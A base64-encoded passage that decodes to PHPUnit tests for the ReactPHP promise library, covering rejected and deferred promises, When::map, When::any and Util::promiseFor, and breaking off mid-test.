maW5lZC4KICAgICAgICAgICAgICAgICAgICAvLyBUaGUgT05MWSB3YXkgdG8gcHJvcGFnYXRlIGEgcmVqZWN0aW9uIGlzIHRvIHJlLXRocm93IG9yCiAgICAgICAgICAgICAgICAgICAgLy8gcmV0dXJuIGEgcmVqZWN0ZWQgcHJvbWlzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRTd2l0Y2hGcm9tRXJyYmFja3NUb0NhbGxiYWNrc1doZW5FcnJiYWNrRG9lc05vdEV4cGxpY2l0bHlQcm9wYWdhdGUoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDIpKTsKCiAgICAgICAgJHAgPSBuZXcgUmVqZWN0ZWRQcm9taXNlKDEpOwogICAgICAgICRwCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICBmdW5jdGlvbiAoJHZhbCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdmFsICsgMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRTd2l0Y2hGcm9tRXJyYmFja3NUb0NhbGxiYWNrc1doZW5FcnJiYWNrUmV0dXJuc0FSZXNvbHV0aW9uKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygyKSk7CgogICAgICAgICRwID0gbmV3IFJlamVjdGVkUHJvbWlzZSgxKTsKICAgICAgICAkcAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgZnVuY3Rpb24gKCR2YWwpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IEZ1bGZpbGxlZFByb21pc2UoJHZhbCArIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICApCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICRtb2NrLAogICAgICAgICAgICAgICAgJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKQogICAgICAgICAgICApOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFByb3BhZ2F0ZVJlamVjdGlvbnNXaGVuRXJyYmFja1Rocm93cygpCiAgICB7CiAgICAgICAgJGV4Y2VwdGlvbiA9IG5ldyBcRXhjZXB0aW9uKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpbGwoJHRoaXMtPnRocm93RXhjZXB0aW9uKCRleGNlcHRpb24pKTsKCiAgICAgICAgJG1vY2syID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrMgogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygkZXhjZXB0aW9uKSk7CgogICAgICAgICRwID0gbmV3IFJlamVjdGVkUHJvbWlzZSgxKTsKICAgICAgICAkcAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2syCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUHJvcGFnYXRlUmVqZWN0aW9uc1doZW5FcnJiYWNrUmV0dXJuc0FSZWplY3Rpb24oKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDIpKTsKCiAgICAgICAgJHAgPSBuZXcgUmVqZWN0ZWRQcm9taXNlKDEpOwogICAgICAgICRwCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICBmdW5jdGlvbiAoJHZhbCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUmVqZWN0ZWRQcm9taXNlKCR2YWwgKyAxKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2VcU3R1YjsKCmNsYXNzIENhbGxhYmxlU3R1Ygp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoKQogICAgewogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCi8qKgogKiBAZ3JvdXAgUHJvbWlzZQogKiBAZ3JvdXAgRGVmZXJyZWRQcm9taXNlCiAqLwpjbGFzcyBEZWZlcnJlZFByb21pc2VUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZFRvRGVmZXJyZWQoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmdldE1vY2soJ1JlYWN0XFxQcm9taXNlXFxEZWZlcnJlZCcpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgndGhlbicpCiAgICAgICAgICAgIC0+d2l0aCgxLCAyLCAzKTsKCiAgICAgICAgJHAgPSBuZXcgRGVmZXJyZWRQcm9taXNlKCRtb2NrKTsKICAgICAgICAkcC0+dGhlbigxLCAyLCAzKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIERlZmVycmVkCiAqIEBncm91cCBEZWZlcnJlZFJlamVjdAogKi8KY2xhc3MgRGVmZXJyZWRSZWplY3RUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVqZWN0V2l0aEFuSW1tZWRpYXRlVmFsdWUoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5wcm9taXNlKCkKICAgICAgICAgICAgLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRtb2NrKTsKCiAgICAgICAgJGQKICAgICAgICAgICAgLT5yZXNvbHZlcigpCiAgICAgICAgICAgIC0+cmVqZWN0KDEpOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdFdpdGhGdWxmaWxsZWRQcm9taXNlKCkKICAgIHsKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkbW9jayk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cmVzb2x2ZXIoKQogICAgICAgICAgICAtPnJlamVjdChuZXcgRnVsZmlsbGVkUHJvbWlzZSgxKSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVqZWN0V2l0aFJlamVjdGVkUHJvbWlzZSgpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnByb21pc2UoKQogICAgICAgICAgICAtPnRoZW4oJHRoaXMtPmV4cGVjdENhbGxhYmxlTmV2ZXIoKSwgJG1vY2spOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZWplY3QobmV3IFJlamVjdGVkUHJvbWlzZSgxKSk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmV0dXJuQVByb21pc2VGb3JUaGVSZWplY3Rpb25WYWx1ZSgpCiAgICB7CiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICAkZAogICAgICAgICAgICAtPnJlc29sdmVyKCkKICAgICAgICAgICAgLT5yZWplY3QoMSkKICAgICAgICAgICAgLT50aGVuKCR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksICRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRJbnZva2VOZXdseUFkZGVkRXJyYmFja1doZW5BbHJlYWR5UmVqZWN0ZWQoKQogICAgewogICAgICAgICRkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGQKICAgICAgICAgICAgLT5yZXNvbHZlcigpCiAgICAgICAgICAgIC0+cmVqZWN0KDEpOwoKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygxKSk7CgogICAgICAgICRkCiAgICAgICAgICAgIC0+cHJvbWlzZSgpCiAgICAgICAgICAgIC0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkRm9yd2FyZFJlYXNvbldoZW5DYWxsYmFja0lzTnVsbCgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICAkZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRkCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKTsKCiAgICAgICAgJGQtPnJlamVjdCgxKTsKICAgIH0KCiAgICAvKioKICAgICAqIEB0ZXN0CiAgICAgKiBAZGF0YVByb3ZpZGVyIGludmFsaWRDYWxsYmFja0RhdGFQcm92aWRlcgogICAgICoqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZElnbm9yZU5vbkZ1bmN0aW9uc0FuZFRyaWdnZXJQaHBOb3RpY2UoJHZhcikKICAgIHsKICAgICAgICAkZXJyb3JDb2xsZWN0b3IgPSBuZXcgRXJyb3JDb2xsZWN0b3IoKTsKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPnJlZ2lzdGVyKCk7CgogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKDEpKTsKCiAgICAgICAgJGQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAkZAogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgJHZhcgogICAgICAgICAgICApCiAgICAgICAgICAgIC0+dGhlbigKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCksCiAgICAgICAgICAgICAgICAkbW9jawogICAgICAgICAgICApOwoKICAgICAgICAkZC0+cmVqZWN0KDEpOwoKICAgICAgICAkZXJyb3JDb2xsZWN0b3ItPmFzc2VydENvbGxlY3RlZEVycm9yKCdJbnZhbGlkICRlcnJvckhhbmRsZXIgYXJndW1lbnQgcGFzc2VkIHRvIHRoZW4oKSwgbXVzdCBiZSBudWxsIG9yIGNhbGxhYmxlLicsIEVfVVNFUl9OT1RJQ0UpOwogICAgICAgICRlcnJvckNvbGxlY3Rvci0+dW5yZWdpc3RlcigpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCi8qKgogKiBAZ3JvdXAgV2hlbgogKiBAZ3JvdXAgV2hlbk1hcAogKi8KY2xhc3MgV2hlbk1hcFRlc3QgZXh0ZW5kcyBUZXN0Q2FzZQp7CiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gbWFwcGVyKCkKICAgIHsKICAgICAgICByZXR1cm4gZnVuY3Rpb24gKCR2YWwpIHsKICAgICAgICAgICAgcmV0dXJuICR2YWwgKiAyOwogICAgICAgIH07CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHByb21pc2VNYXBwZXIoKQogICAgewogICAgICAgIHJldHVybiBmdW5jdGlvbiAoJHZhbCkgewogICAgICAgICAgICByZXR1cm4gV2hlbjo6cmVzb2x2ZSgkdmFsICogMik7CiAgICAgICAgfTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRNYXBJbnB1dFZhbHVlc0FycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgyLCA0LCA2KSkpOwoKICAgICAgICBXaGVuOjptYXAoCiAgICAgICAgICAgIGFycmF5KDEsIDIsIDMpLAogICAgICAgICAgICAkdGhpcy0+bWFwcGVyKCkKICAgICAgICApLT50aGVuKCRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRNYXBJbnB1dFByb21pc2VzQXJyYXkoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKGFycmF5KDIsIDQsIDYpKSk7CgogICAgICAgIFdoZW46Om1hcCgKICAgICAgICAgICAgYXJyYXkoV2hlbjo6cmVzb2x2ZSgxKSwgV2hlbjo6cmVzb2x2ZSgyKSwgV2hlbjo6cmVzb2x2ZSgzKSksCiAgICAgICAgICAgICR0aGlzLT5tYXBwZXIoKQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZE1hcE1peGVkSW5wdXRBcnJheSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oYXJyYXkoMiwgNCwgNikpKTsKCiAgICAgICAgV2hlbjo6bWFwKAogICAgICAgICAgICBhcnJheSgxLCBXaGVuOjpyZXNvbHZlKDIpLCAzKSwKICAgICAgICAgICAgJHRoaXMtPm1hcHBlcigpCiAgICAgICAgKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkTWFwSW5wdXRXaGVuTWFwcGVyUmV0dXJuc0FQcm9taXNlKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgyLCA0LCA2KSkpOwoKICAgICAgICBXaGVuOjptYXAoCiAgICAgICAgICAgIGFycmF5KDEsIDIsIDMpLAogICAgICAgICAgICAkdGhpcy0+cHJvbWlzZU1hcHBlcigpCiAgICAgICAgKS0+dGhlbigkbW9jayk7CiAgICB9CgogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkQWNjZXB0QVByb21pc2VGb3JBbkFycmF5KCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbyhhcnJheSgyLCA0LCA2KSkpOwoKICAgICAgICBXaGVuOjptYXAoCiAgICAgICAgICAgIFdoZW46OnJlc29sdmUoYXJyYXkoMSwgV2hlbjo6cmVzb2x2ZSgyKSwgMykpLAogICAgICAgICAgICAkdGhpcy0+bWFwcGVyKCkKICAgICAgICApLT50aGVuKCRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlVG9FbXB0eUFycmF5V2hlbklucHV0UHJvbWlzZURvZXNOb3RSZXNvbHZlVG9BcnJheSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oYXJyYXkoKSkpOwoKICAgICAgICBXaGVuOjptYXAoCiAgICAgICAgICAgIFdoZW46OnJlc29sdmUoMSksCiAgICAgICAgICAgICR0aGlzLT5tYXBwZXIoKQogICAgICAgICktPnRoZW4oJG1vY2spOwogICAgfQoKICAgIC8qKiBAdGVzdCAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNob3VsZFJlamVjdFdoZW5JbnB1dENvbnRhaW5zUmVqZWN0aW9uKCkKICAgIHsKICAgICAgICAkbW9jayA9ICR0aGlzLT5jcmVhdGVDYWxsYWJsZU1vY2soKTsKICAgICAgICAkbW9jawogICAgICAgICAgICAtPmV4cGVjdHMoJHRoaXMtPm9uY2UoKSkKICAgICAgICAgICAgLT5tZXRob2QoJ19faW52b2tlJykKICAgICAgICAgICAgLT53aXRoKCR0aGlzLT5pZGVudGljYWxUbygyKSk7CgogICAgICAgIFdoZW46Om1hcCgKICAgICAgICAgICAgYXJyYXkoV2hlbjo6cmVzb2x2ZSgxKSwgV2hlbjo6cmVqZWN0KDIpLCBXaGVuOjpyZXNvbHZlKDMpKSwKICAgICAgICAgICAgJHRoaXMtPm1hcHBlcigpCiAgICAgICAgKS0+dGhlbigkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLCAkbW9jayk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKLyoqCiAqIEBncm91cCBVdGlsCiAqIEBncm91cCBVdGlsUHJvbWlzZUZvcgogKi8KY2xhc3MgVXRpbFByb21pc2VGb3JUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZUFuSW1tZWRpYXRlVmFsdWUoKQogICAgewogICAgICAgICRleHBlY3RlZCA9IDEyMzsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4cGVjdGVkKSk7CgogICAgICAgIFV0aWw6OnByb21pc2VGb3IoJGV4cGVjdGVkKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlQUZ1bGZpbGxlZFByb21pc2UoKQogICAgewogICAgICAgICRleHBlY3RlZCA9IDEyMzsKCiAgICAgICAgJHJlc29sdmVkID0gbmV3IEZ1bGZpbGxlZFByb21pc2UoJGV4cGVjdGVkKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4cGVjdGVkKSk7CgogICAgICAgIFV0aWw6OnByb21pc2VGb3IoJHJlc29sdmVkKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkbW9jaywKICAgICAgICAgICAgICAgICR0aGlzLT5leHBlY3RDYWxsYWJsZU5ldmVyKCkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZWplY3RBUmVqZWN0ZWRQcm9taXNlKCkKICAgIHsKICAgICAgICAkZXhwZWN0ZWQgPSAxMjM7CgogICAgICAgICRyZXNvbHZlZCA9IG5ldyBSZWplY3RlZFByb21pc2UoJGV4cGVjdGVkKTsKCiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oJGV4cGVjdGVkKSk7CgogICAgICAgIFV0aWw6OnByb21pc2VGb3IoJHJlc29sdmVkKQogICAgICAgICAgICAtPnRoZW4oCiAgICAgICAgICAgICAgICAkdGhpcy0+ZXhwZWN0Q2FsbGFibGVOZXZlcigpLAogICAgICAgICAgICAgICAgJG1vY2sKICAgICAgICAgICAgKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgovKioKICogQGdyb3VwIFdoZW4KICogQGdyb3VwIFdoZW5BbnkKICovCmNsYXNzIFdoZW5BbnlUZXN0IGV4dGVuZHMgVGVzdENhc2UKewogICAgLyoqIEB0ZXN0ICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2hvdWxkUmVzb2x2ZVRvTnVsbFdpdGhFbXB0eUlucHV0QXJyYXkoKQogICAgewogICAgICAgICRtb2NrID0gJHRoaXMtPmNyZWF0ZUNhbGxhYmxlTW9jaygpOwogICAgICAgICRtb2NrCiAgICAgICAgICAgIC0+ZXhwZWN0cygkdGhpcy0+b25jZSgpKQogICAgICAgICAgICAtPm1ldGhvZCgnX19pbnZva2UnKQogICAgICAgICAgICAtPndpdGgoJHRoaXMtPmlkZW50aWNhbFRvKG51bGwpKTsKCiAgICAgICAgV2hlbjo6YW55KGFycmF5KCksICRtb2NrKTsKICAgIH0KCiAgICAvKiogQHRlc3QgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzaG91bGRSZXNvbHZlV2l0aEFuSW5wdXRWYWx1ZSgpCiAgICB7CiAgICAgICAgJG1vY2sgPSAkdGhpcy0+Y3JlYXRlQ2FsbGFibGVNb2NrKCk7CiAgICAgICAgJG1vY2sKICAgICAgICAgICAgLT5leHBlY3RzKCR0aGlzLT5vbmNlKCkpCiAgICAgICAgICAgIC0+bWV0aG9kKCdfX2ludm9rZScpCiAgICAgICAgICAgIC0+d2l0aCgkdGhpcy0+aWRlbnRpY2FsVG8oMSkpOwoKICAgICAgICBXaGVuOjphbnkoCiAgICAgICAgICAgIGFycmF5KDEsIDIsIDM